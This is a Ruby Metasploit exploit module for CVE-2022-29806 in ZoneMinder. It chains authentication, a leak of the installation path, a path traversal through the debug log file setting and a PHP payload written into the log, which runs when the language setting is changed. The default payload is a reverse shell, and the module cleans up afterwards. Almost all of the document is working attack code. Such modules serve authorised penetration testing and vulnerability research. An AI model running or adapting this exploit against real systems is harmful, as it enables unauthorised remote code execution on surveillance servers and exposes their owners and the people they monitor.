##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ZoneMinder Language Settings Remote Code Execution',
'Description' => %q{
This module exploits arbitrary file write in debug log file option
chained with a path traversal in language settings that leads to a
remote code execution in ZoneMinder surveillance software versions
before 1.36.13 and before 1.37.11
},
'License' => MSF_LICENSE,
'Author' => [ 'krastanoel' ], # Discovery and exploit
'References' => [
[ 'CVE', '2022-29806' ],
[ 'URL', 'https://krastanoel.com/cve/2022-29806']
],
'Platform' => ['php'],
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2022-04-27',
'DefaultTarget' => 0,
'DefaultOptions' => {
'Payload' => 'php/reverse_perl',
'Encoder' => 'php/base64'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']),
OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']),
OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/'])
])
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'GET'
)
return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200
if res.body =~ /ZoneMinder/
csrf_magic = get_csrf_magic(res)
res = authenticate(csrf_magic) if res.body =~ /ZoneMinder Login/
return Exploit::CheckCode::Safe('Authentication failed') if res.body =~ %r{<title>ZM - Login</title>}
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'GET',
'keep_cookies' => true
)
else
return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')
end
res.body.match(/v(1.\d+.\d+)/)
version = Regexp.last_match(1)
unless version
return Exploit::CheckCode::Safe('Unable to determine ZoneMinder version')
end
version = Rex::Version.new(version)
return Exploit::CheckCode::Appears("Version Detected: #{version}") if version <= Rex::Version.new('1.37.10')
Exploit::CheckCode::Safe("Version Detected: #{version}")
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown('Could not connect to the web service')
end
def exploit
unless datastore['AutoCheck']
cookie_jar.clear
res = authenticate
fail_with(Failure::NoAccess, 'Authentication failed') if res&.body =~ %r{<title>ZM - Login</title>}
end
vprint_status('Leak installation directory path')
random_path = rand_text_alphanumeric(6..15)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'GET',
'keep_cookies' => true,
'vars_get' => { 'view' => random_path }
)
fail_with(Failure::UnexpectedReply, 'Failed to leak install path') unless res
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'GET',
'keep_cookies' => true,
'vars_get' => { 'view' => 'options' }
)
csrf_magic = get_csrf_magic(res)
current_lang = res&.get_html_document&.at(
'select[@name="newConfig[ZM_LANG_DEFAULT]"]
option[@selected="selected"]'
)&.text
fail_with(Failure::UnexpectedReply, 'Unable to get current language') if res.nil? || current_lang.nil?
data = 'view=request&request=log&task=query&limit=10'
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'data' => data.to_s,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Unable to get valid JSON response') if res.nil? || res&.body.blank?
res.body.match(/(\{"result":.*})/)
request_log = JSON.parse(Regexp.last_match(1)).with_indifferent_access
if request_log.key?(:rows) # Check for latest version key first v1.36.x
request_log_key = 'rows'
elsif request_log.key?(:logs)
request_log_key = 'logs'
else
fail_with(Failure::UnexpectedReply, 'Service found, but unable to find request log key')
end
request_log = request_log[request_log_key].select { |e| e['Message'] =~ /'#{random_path}'/ }.first
if request_log
path = request_log['File'].split('/')[0..-2].join('/')
vprint_good("Path: #{path}")
else
fail_with(Failure::UnexpectedReply, 'Service found, but unable to leak installation directory path')
end
fname = "#{rand_text_alphanumeric(6..15)}.php"
traverse_path = "#{path}/lang".split('/')[1..].map { '../' }.join
shell = "#{traverse_path}tmp/#{fname}"
data = "view=options&tab=logging&action=options&newConfig[ZM_LOG_DEBUG]=1&newConfig[ZM_LOG_DEBUG_FILE]=#{shell}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'data' => data.to_s,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Unable to set LOG_DEBUG_FILE option') if res.nil? || res&.code != 302
vprint_good("Shell: #{shell}")
p = %(<?php #{payload.encoded} ?>)
data = "view=request&request=log&task=create&level=ERR&message=#{p}&file=#{shell}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'data' => data.to_s,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to receive a response') unless res
result = JSON.parse(res.body)['result']
fail_with(Failure::UnexpectedReply, 'Failed to write payload') unless result
fail_with(Failure::UnexpectedReply, 'Unable to write payload to LOG_DEBUG_FILE') if result != 'Ok'
# trigger the shell
lang = shell.gsub(/\.php/, '')
data = "view=options&tab=system&action=options&newConfig[ZM_LANG_DEFAULT]=#{lang}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'data' => data.to_s,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Unable to trigger the payload') if res.nil? || res&.code != 302
# cleanup
data = Rack::Utils.parse_nested_query(data)
data['newConfig']['ZM_LANG_DEFAULT'] = current_lang
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'data' => data.to_query,
'keep_cookies' => true
)
vprint_warning('Unable to reset language to default') if res.nil? || res&.code != 200
data['tab'] = 'logging'
data['newConfig']['ZM_LOG_DEBUG'] = 0
data['newConfig']['ZM_LOG_DEBUG_FILE'] = ''
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'data' => data.to_query,
'keep_cookies' => true
)
vprint_warning('Unable to reset debug option') if res.nil? || res&.code != 302
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
private
def get_csrf_magic(res)
return if res.nil?
res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text
end
def authenticate(csrf_magic = nil)
username = datastore['USERNAME']
password = datastore['PASSWORD']
data = "action=login&view=login&username=#{username}&password=#{password}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'data' => data.to_s,
'keep_cookies' => true
})
end
end
